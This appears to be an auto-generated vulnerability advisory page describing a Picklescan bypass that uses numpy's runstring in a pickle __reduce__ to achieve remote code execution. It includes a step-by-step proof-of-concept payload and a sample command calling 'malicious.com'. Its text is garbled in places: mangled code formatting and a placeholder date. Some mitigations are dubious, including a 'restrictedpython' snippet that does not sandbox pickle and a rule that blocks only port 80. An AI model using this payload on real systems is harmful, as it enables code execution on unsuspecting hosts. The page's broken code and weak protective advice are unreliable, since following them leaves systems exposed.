How the CVE Works
The vulnerability exploits Python’s `pickle` module by leveraging `numpy.testing._private.utils.runstring()` to bypass security scans. Pickle deserialization allows arbitrary code execution via __reduce__()
, which reconstructs objects during unpickling. Attackers craft a payload where `runstring()` executes Python code containing OS commands (e.g., os.system("curl malicious.com")
). Since Picklescan’s blacklist excludes Numpy, the malicious payload evades detection. When loaded via pickle.load()
, the payload triggers remote code execution (RCE).
DailyCVE Form
Platform: Python
Version: pickle module
Vulnerability: Unsafe deserialization
Severity: High
Date: 2023-XX-XX
What Undercode Say:
Exploit:
1. Payload Creation:
import pickle class Exploit: def <strong>reduce</strong>(self): from numpy.testing._private.utils import runstring return runstring, ("import os; os.system('id')", {}) with open('exploit.pkl', 'wb') as f: pickle.dump(Exploit(), f)
2. Bypassing Picklescan:
python -m picklescan scan exploit.pkl Returns "clean"
3. Triggering RCE:
pickle.load(open('exploit.pkl', 'rb')) Executes `id`
Protection:
1. Blacklist Numpy in Picklescan:
Modify Picklescan’s `unsafe_globals` to include Numpy functions:
unsafe_globals = ['numpy.testing._private.utils.runstring', 'os.system']
2. Use Safer Alternatives:
Replace `pickle` with `json` or `xml` for serialization.
3. Sandboxing:
Deserialize in restricted environments:
import restrictedpython code = """pickle.loads(payload)""" restrictedpython.compile_restricted(code)
4. Network Hardening:
Block outbound traffic from pickle-processing services:
iptables -A OUTPUT -p tcp --dport 80 -j DROP
5. Monitoring:
Log suspicious pickle loads:
import logging logging.basicConfig(filename='pickle_audit.log', level=logging.WARNING)
References:
References:
Reported By: https://github.com/advisories/GHSA-fj43-3qmq-673f
Extra Source Hub:
Undercode